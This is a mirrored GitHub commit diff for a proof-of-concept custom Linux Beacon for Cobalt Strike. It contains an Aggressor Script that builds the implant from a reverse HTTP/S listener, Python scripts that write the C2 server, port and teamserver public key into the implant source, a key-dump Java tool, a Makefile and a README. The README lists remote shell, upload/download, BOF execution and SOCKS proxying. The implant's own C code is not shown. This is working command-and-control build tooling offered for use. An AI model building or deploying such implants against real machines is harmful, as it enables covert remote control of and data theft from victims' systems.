mirror of
https://github.com/EricEsquivel/CobaltStrike-Linux-Beacon
synced 2026-06-06 15:34:34 +00:00
Initial commit
This commit is contained in:
+422
@@ -0,0 +1,422 @@
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
*.env
|
||||
publickey.txt
|
||||
**.x64.o
|
||||
**.zip
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
[Aa][Rr][Mm]64[Ee][Cc]/
|
||||
bld/
|
||||
[Oo]bj/
|
||||
[Oo]ut/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Build results on 'Bin' directories
|
||||
**/[Bb]in/*
|
||||
**/[Oo]bj/*
|
||||
# Uncomment if you have tasks that rely on *.refresh files to move binaries
|
||||
# (https://github.com/github/gitignore/pull/3736)
|
||||
#!**/[Bb]in/*.refresh
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
*.trx
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Approval Tests result files
|
||||
*.received.*
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.idb
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
# but not Directory.Build.rsp, as it configures directory-level build defaults
|
||||
!Directory.Build.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio 6 auto-generated project file (contains which files were open etc.)
|
||||
*.vbp
|
||||
|
||||
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||
*.dsw
|
||||
*.dsp
|
||||
|
||||
# Visual Studio 6 technical files
|
||||
*.ncb
|
||||
*.aps
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
**/.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
**/.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
**/.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
**/__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
#tools/**
|
||||
#!tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
MSBuild_Logs/
|
||||
|
||||
# AWS SAM Build and Temporary Artifacts folder
|
||||
.aws-sam
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
**/.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
**/.localhistory/
|
||||
|
||||
# Visual Studio History (VSHistory) files
|
||||
.vshistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
**/.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
!.vscode/*.code-snippets
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Built Visual Studio Code Extensions
|
||||
*.vsix
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
@@ -0,0 +1,160 @@
|
||||
$ProjectLocation = "/home/ee/Tools/c2/CobaltStrike/"; # <-- SET THE DIRECTORY LOCATION CONTAINING THE PROJECT
|
||||
|
||||
$CustomBeaconProjectFolder = $ProjectLocation . "/CobaltStrike-Linux-Beacon/";
|
||||
$GeneratePayloadDirectory = $CustomBeaconProjectFolder . "/generate-payload/";
|
||||
$ImplantSrcDirectory = $CustomBeaconProjectFolder . "/implant/";
|
||||
|
||||
#######################################
|
||||
|
||||
# Generate Payload Menu Bar Below #
|
||||
|
||||
#######################################
|
||||
|
||||
menubar("Custom Beacons", "generate"); # Creates a menu bar at the top
|
||||
popup generate { # When clicked more buttons appear
|
||||
item "Generate Custom Beacons" { genBeaconMenu(); } # Item 1 button that appears, creates pop up when clicked.
|
||||
};
|
||||
|
||||
# Create a function that makes a pop up submenu for generating payloads with different options you can select
|
||||
sub genBeaconMenu {
|
||||
|
||||
# Create a dialog. Use &dialog_show to show it. Args in Order: 1. Title of the dialog; 2. A %dictionary mapping row names to default values; 3.A callback function that gets called when the user presses a &dbutton_action button.
|
||||
# $1 is a reference to the dialog. $2 is the button name. $3 is a dictionary that maps each row's name to its value.
|
||||
$dialog = dialog("Custom Beacon Generator", %(listener => "Select Listener: ", Beacon_name => "Beacon_x64"), &genPayload);
|
||||
|
||||
# Adds a description to a &dialog
|
||||
dialog_description($dialog, "Creates a custom Beacon implant\n- Currently only supports HTTP/S listeners");
|
||||
|
||||
# Adds a listener selection row to a &dialog. This row only shows listeners with stagers (e.g., windows/beacon_https/reverse_https).
|
||||
drow_listener_stage($dialog, "listener", "Listener: "); # Alternative is drow_listener which only shows staged Beacons whereas this shows stageless and staged
|
||||
|
||||
# Adds a text field row to a &dialog
|
||||
drow_text($dialog, "Beacon_name", "Executable Name: ");
|
||||
|
||||
# Adds an action button to a &dialog. When this button is pressed, the dialog closes and its callback is called.
|
||||
dbutton_action($dialog, "Generate");
|
||||
|
||||
# Shows a &dialog.
|
||||
dialog_show($dialog);
|
||||
}
|
||||
|
||||
# Callback function that gets called when you click Generate.
|
||||
sub genPayload {
|
||||
#
|
||||
# check if user is on a linux or windows box
|
||||
#
|
||||
if (substr(cwd(), 0, 1) eq "/") {
|
||||
$os = "linux";
|
||||
} else {
|
||||
$os = "windows";
|
||||
show_message("Generating custom payloads on Windows has not yet been tested!");
|
||||
return;
|
||||
}
|
||||
|
||||
$filename = $3['Beacon_name'];
|
||||
|
||||
# Listener needs to be selected
|
||||
if ($3['listener'] ismatch "Select Listener: ") {
|
||||
berror($1, 'You did not select a Listener.');
|
||||
show_message("Please select a Listener.");
|
||||
}
|
||||
|
||||
# https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#listener_info
|
||||
# PRINTF DEBUGGING
|
||||
#foreach $key => $value (listener_info($3['listener']))
|
||||
#{
|
||||
# println("$[15]key $value");
|
||||
#}
|
||||
|
||||
#
|
||||
# This is for inserting the specified listener information into the implant
|
||||
#
|
||||
$HTTPSvalue = "0";
|
||||
$ListenerName = $3['listener'];
|
||||
$payloadType = listener_info($ListenerName, "payload");
|
||||
if ($payloadType ne "windows/beacon_http/reverse_http" && $payloadType ne "windows/beacon_https/reverse_https")
|
||||
{
|
||||
show_message("This is an invalid listener type for the Linux Beacon! Only reverse_http and reverse_https are supported.");
|
||||
return;
|
||||
}
|
||||
else if ($payloadType eq "windows/beacon_http/reverse_http")
|
||||
{
|
||||
$HTTPSvalue = "0";
|
||||
}
|
||||
else
|
||||
{
|
||||
$HTTPSvalue = "1";
|
||||
}
|
||||
$TargetServer = listener_info($ListenerName, "host");
|
||||
$TargetPort = listener_info($ListenerName, "port");
|
||||
|
||||
$command = "python3 InsertListenerInfo.py " . $TargetServer . " " . $TargetPort . " " . $HTTPSvalue;
|
||||
println($command);
|
||||
$process = exec($command, $null, $GeneratePayloadDirectory);
|
||||
@data = readAll($process);
|
||||
foreach $line (@data) {
|
||||
println($line);
|
||||
}
|
||||
closef($process);
|
||||
|
||||
#
|
||||
# Locate public key file
|
||||
#
|
||||
$publickeylocation = $CustomBeaconProjectFolder . "/generate-payload/publickey.txt";
|
||||
if (!-exists $publickeylocation)
|
||||
{
|
||||
show_message("Public key file was not found! Make sure to generate public key. Check README for more information.");
|
||||
return;
|
||||
}
|
||||
|
||||
#
|
||||
# Insert public key into beacon.c
|
||||
#
|
||||
$command = "python3 InsertPublicKey.py";
|
||||
println($command);
|
||||
$process = exec($command, $null, $GeneratePayloadDirectory);
|
||||
@data = readAll($process);
|
||||
foreach $line (@data) {
|
||||
println($line);
|
||||
}
|
||||
closef($process);
|
||||
|
||||
#
|
||||
# Build implant
|
||||
#
|
||||
$command = "make clean -f Makefile OUTPUT=" . $filename;
|
||||
println($command);
|
||||
$process = exec($command, $null, $ImplantSrcDirectory);
|
||||
@data = readAll($process);
|
||||
foreach $line (@data) {
|
||||
println($line);
|
||||
}
|
||||
closef($process);
|
||||
|
||||
$command = "make -f Makefile OUTPUT=" . $filename;
|
||||
println($command);
|
||||
$process = exec($command, $null, $ImplantSrcDirectory);
|
||||
@data = readAll($process);
|
||||
foreach $line (@data) {
|
||||
println($line);
|
||||
}
|
||||
closef($process);
|
||||
|
||||
#
|
||||
# Remove public key from beacon.c after compiling
|
||||
#
|
||||
$command = "python3 RemovePublicKey.py";
|
||||
println($command);
|
||||
$process = exec($command, $null, $GeneratePayloadDirectory);
|
||||
@data = readAll($process);
|
||||
foreach $line (@data) {
|
||||
println($line);
|
||||
}
|
||||
closef($process);
|
||||
|
||||
#
|
||||
# Yay
|
||||
#
|
||||
show_message("Your custom implant has been generated at " . $CustomBeaconProjectFolder . "/implant/bin/" . $filename);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
# Cobalt Strike Linux Beacon
|
||||
|
||||
A proof-of-concept custom Linux Beacon that communicates with the Cobalt Strike teamserver using the HTTP/S protocol.
|
||||
|
||||
The goal of this project isn't to be a fully featured implant, nor is it limited to just Linux. It is to show that it is possible to make custom implants for Cobalt Strike for any platform. The only requirement is communicating with the teamserver correctly.
|
||||
|
||||
With custom implants you can define custom behavior, add new features, support different platforms and file types, apply obfuscation at compile time, and more. The possibilities are endless.
|
||||
|
||||
Hopefully one day Cobalt Strike will officially support developing custom Beacons by adding more documentation and quality of life features.
|
||||
|
||||
|
||||
## Features
|
||||
- HTTP/S listener support (default C2 profile)
|
||||
- Contains some built-in commands: `sleep`, `cd`, `pwd`, `shell`, `ls`, `exit`, `upload`, `download`
|
||||
- Linux BOF execution using TrustedSec's ELFLoader. Supports both TrustedSec & Outflank BOFs
|
||||
- SOCKS proxy
|
||||
|
||||
## Demo
|
||||
Generating payloads with the Aggressor Script
|
||||

|
||||
|
||||
Running commands & BOFs in the Linux Beacon
|
||||

|
||||
|
||||
## Setup
|
||||
You can view the setup steps in the [SETUP](SETUP.md) file.
|
||||
|
||||
## Special Thanks
|
||||
Thank you to [Kyle Avery](https://x.com/kyleavery) for your help with integrating BOF execution and testing out the implant.
|
||||
|
||||
## Resources
|
||||
- Cobalt Strike (wow!)
|
||||
- [TrustedSec's ELFLoader & BOFs](https://github.com/trustedsec/ELFLoader)
|
||||
- [Outflank's BOFs](https://github.com/outflanknl/nix_bof_template)
|
||||
- [PaloAltoNetworks Unit42](https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/)
|
||||
- [SANS ISC](https://isc.sans.edu/diary/27968)
|
||||
- [cs-decrypt-metadata-py](https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/)
|
||||
- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
|
||||
@@ -0,0 +1,48 @@
|
||||
## Initial Setup
|
||||
|
||||
The Cobalt Strike client compiles the implant through an Aggressor Script. Therefore your machine running the CS client must be on Linux to have the necessary dependencies to build this project. In this documentation I show how to setup this project, as well as building manually if you would like.
|
||||
|
||||
### Setting up project on Linux:
|
||||
|
||||
##### 1. Place project in appropriate location
|
||||
Clone this project onto the Linux machine where you use the Cobalt Strike client. Then open the `CobaltStrike-Linux-Beacon/CustomBeacon.cna` file and set the absolute path to the project folder on the first line.
|
||||
|
||||
##### 2. Retrieve Teamserver Publickey
|
||||
These steps are to retrieve the teamserver's publickey from `.cobaltstrike.beacon_keys` so that it can be used by the Linux Beacon for initial communication.
|
||||
|
||||
First, download the `CobaltStrike-Linux-Beacon/generate-payload/Dump.java` file onto your teamserver.
|
||||
Next, navigate to the teamserver folder containing `.cobaltstrike.beacon_keys`.
|
||||
Then, run this command:
|
||||
|
||||
```
|
||||
java -cp "/path/to/cobaltstrike-client.jar" /path/to/Dump.java
|
||||
```
|
||||
This will output "publickey.txt". Move this file into the `CobaltStrike-Linux-Beacon/generate-payload/` folder back on the Linux machine where you are running the CS client.
|
||||
|
||||
##### 3. Install Build Dependencies
|
||||
Run these commands on your Cobalt Strike client Linux machine to install dependencies.
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install -y build-essential libssl-dev libcurl4-openssl-dev
|
||||
```
|
||||
* Also make sure you also have Python3 installed
|
||||
|
||||
##### 4. Import CustomBeacon.cna Cobalt Strike
|
||||
Load the `CustomBeacon.cna` Aggressor Script into your client's Script Manager.
|
||||
|
||||
Then you can begin generating your payloads with a click of a button!
|
||||
|
||||
|
||||
### Manually build payload (no Aggressor Script)
|
||||
This is particularly useful if you use the CS client on Windows and can't import/use the Aggressor Script to build the implant. You would manually build the payload on Linux using the steps below and you can interact with the implant like normal after it executes and connects to the teamserver.
|
||||
|
||||
After completing steps 1, 2, and 3 (installing dependencies & preparing publickey), do this:
|
||||
|
||||
4. Go into the `generate-payload/` folder
|
||||
|
||||
5. Run `python3 InsertPublicKey.py` to insert the public key into the implant.
|
||||
|
||||
6. Run `python3 InsertListenerInfo.py [HOST_IP] [PORT] [0/1]`
|
||||
* 0 = use HTTP, 1 = use HTTPS
|
||||
|
||||
7. Then run `make`.
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 7.2 MiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.6 MiB |
@@ -0,0 +1,55 @@
|
||||
// Original tool: https://gist.github.com/olliencc/af056560e943bafa145120103a0947a3#file-dump-java
|
||||
|
||||
import java.io.File;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Base64;
|
||||
import common.CommonUtils;
|
||||
import java.security.KeyPair;
|
||||
|
||||
class DumpKeys
|
||||
{
|
||||
private static String bytesToHex(byte[] bytes) {
|
||||
StringBuilder sb = new StringBuilder(bytes.length * 2);
|
||||
for (byte b : bytes) {
|
||||
sb.append(String.format("%02x", b));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static void main(String[] args)
|
||||
{
|
||||
try {
|
||||
File file = new File(".cobaltstrike.beacon_keys");
|
||||
if (file.exists()) {
|
||||
KeyPair keyPair = (KeyPair) CommonUtils.readObject(file, null);
|
||||
|
||||
// Print private key (Base64)
|
||||
/*
|
||||
System.out.printf(
|
||||
"Private Key: %s%n%n",
|
||||
Base64.getEncoder().encodeToString(
|
||||
keyPair.getPrivate().getEncoded()
|
||||
)
|
||||
);
|
||||
*/
|
||||
|
||||
// Convert public key to hex
|
||||
String publicKeyHex = bytesToHex(
|
||||
keyPair.getPublic().getEncoded()
|
||||
);
|
||||
|
||||
// Write public key hex to file "publickey"
|
||||
Files.write(Path.of("publickey.txt"), publicKeyHex.getBytes());
|
||||
|
||||
System.out.println("Public key written to file: publickey.txt");
|
||||
}
|
||||
else {
|
||||
System.out.println("Could not find .cobaltstrike.beacon_keys file");
|
||||
}
|
||||
}
|
||||
catch (Exception exception) {
|
||||
System.out.println("Could not read asymmetric keys");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
|
||||
C2_SERVER_string = "#define C2_SERVER"
|
||||
C2_PORT_string = "#define C2_PORT"
|
||||
C2_USE_HTTPS_string = "#define C2_USE_HTTPS"
|
||||
|
||||
|
||||
def InsertListenerInfo(Target_Server, Target_Port, HTTPS_value):
|
||||
|
||||
# Read original file
|
||||
with open("../implant/headers/config.h", "r") as f:
|
||||
lines = f.readlines()
|
||||
|
||||
# Write modified file
|
||||
with open("../implant/headers/config.tmp", "w") as f:
|
||||
for line in lines:
|
||||
if C2_SERVER_string in line:
|
||||
f.write(f'{C2_SERVER_string} "{Target_Server}"\n')
|
||||
elif C2_PORT_string in line:
|
||||
f.write(f'{C2_PORT_string} {Target_Port}\n')
|
||||
elif C2_USE_HTTPS_string in line:
|
||||
f.write(f'{C2_USE_HTTPS_string} {HTTPS_value}\n')
|
||||
else:
|
||||
f.write(line)
|
||||
|
||||
print("Inserted listener info into config.h!")
|
||||
|
||||
|
||||
os.replace("../implant/headers/config.tmp", "../implant/headers/config.h")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
TargetServer = sys.argv[1]
|
||||
TargetPort = sys.argv[2]
|
||||
HTTPSvalue = sys.argv[3]
|
||||
|
||||
InsertListenerInfo(TargetServer, TargetPort, HTTPSvalue)
|
||||
@@ -0,0 +1,37 @@
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
search_string = "unsigned char BEACON_PUBLIC_KEY[256] ="
|
||||
|
||||
def hex_to_c_string(hex_string):
|
||||
hex_string = hex_string.strip().replace(" ", "")
|
||||
return ''.join(f'\\x{hex_string[i:i+2]}' for i in range(0, len(hex_string), 2))
|
||||
|
||||
|
||||
def InsertPublicKey():
|
||||
# Read hex from file
|
||||
with open("publickey.txt", "r") as f:
|
||||
hex_data = f.read()
|
||||
|
||||
c_string = hex_to_c_string(hex_data)
|
||||
replacement_line = f'unsigned char BEACON_PUBLIC_KEY[256] = "{c_string}";\n'
|
||||
|
||||
# Read original file
|
||||
with open("../implant/src/beacon.c", "r") as f:
|
||||
lines = f.readlines()
|
||||
|
||||
# Write modified file
|
||||
with open("../implant/src/beacon.tmp", "w") as f:
|
||||
for line in lines:
|
||||
if search_string in line:
|
||||
f.write(replacement_line)
|
||||
print("Inserted public key into beacon.c!")
|
||||
else:
|
||||
f.write(line)
|
||||
|
||||
|
||||
os.replace("../implant/src/beacon.tmp", "../implant/src/beacon.c")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
InsertPublicKey()
|
||||
@@ -0,0 +1,28 @@
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
search_string = "unsigned char BEACON_PUBLIC_KEY[256] ="
|
||||
|
||||
|
||||
def RemovePublicKey():
|
||||
replacement_line = f'unsigned char BEACON_PUBLIC_KEY[256] = "\\x30";\n'
|
||||
|
||||
# Read original file
|
||||
with open("../implant/src/beacon.c", "r") as f:
|
||||
lines = f.readlines()
|
||||
|
||||
# Write modified file
|
||||
with open("../implant/src/beacon.tmp", "w") as f:
|
||||
for line in lines:
|
||||
if search_string in line:
|
||||
f.write(replacement_line)
|
||||
print("Replaced public key line with placeholder!")
|
||||
else:
|
||||
f.write(line)
|
||||
|
||||
|
||||
os.replace("../implant/src/beacon.tmp", "../implant/src/beacon.c")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
RemovePublicKey()
|
||||
@@ -0,0 +1,60 @@
|
||||
# Makefile for Cobalt Strike Linux Implant
|
||||
|
||||
OUTPUT ?= beacon
|
||||
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -O2 \
|
||||
-I./headers \
|
||||
-I./elfloader/elfloader-headers
|
||||
|
||||
LDFLAGS = -lssl -lcrypto -lcurl
|
||||
|
||||
# Directories
|
||||
SRC_DIR = src
|
||||
ELFLOADER_SRC_DIR = elfloader/elfloader-src
|
||||
INC_DIR = headers
|
||||
ELFLOADER_INC_DIR = elfloader/elfloader-headers
|
||||
OBJ_DIR = obj
|
||||
BIN_DIR = bin
|
||||
|
||||
# Target binary
|
||||
TARGET = $(BIN_DIR)/$(OUTPUT)
|
||||
|
||||
# Source files
|
||||
SOURCES = \
|
||||
$(wildcard $(SRC_DIR)/*.c) \
|
||||
$(wildcard $(ELFLOADER_SRC_DIR)/*.c)
|
||||
|
||||
# Object files (mirror source tree in obj/)
|
||||
OBJECTS = $(patsubst %.c,$(OBJ_DIR)/%.o,$(SOURCES))
|
||||
|
||||
# Default target
|
||||
all: directories $(TARGET)
|
||||
|
||||
# Create necessary directories
|
||||
directories:
|
||||
@mkdir -p $(BIN_DIR)
|
||||
@mkdir -p $(OBJ_DIR)/$(SRC_DIR)
|
||||
@mkdir -p $(OBJ_DIR)/$(ELFLOADER_SRC_DIR)
|
||||
|
||||
# Link the final binary
|
||||
$(TARGET): $(OBJECTS)
|
||||
@echo "[LD] Linking $@"
|
||||
@$(CC) $(OBJECTS) -o $@ $(LDFLAGS)
|
||||
@echo "[+] Build complete: $@"
|
||||
|
||||
# Compile source files (works for all source dirs)
|
||||
$(OBJ_DIR)/%.o: %.c
|
||||
@echo "[CC] Compiling $<"
|
||||
@$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
# Clean build artifacts
|
||||
clean:
|
||||
@echo "[CLEAN] Removing build artifacts"
|
||||
@rm -rf $(OBJ_DIR) $(BIN_DIR)
|
||||
|
||||
# Debug build
|
||||
debug: CFLAGS += -g -DDEBUG
|
||||
debug: clean all
|
||||
|
||||
.PHONY: all clean debug directories
|
||||
@@ -0,0 +1,24 @@
|
||||
Copyright 2021, ELFLoader by TrustedSec, LLC
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the distribution.
|
||||
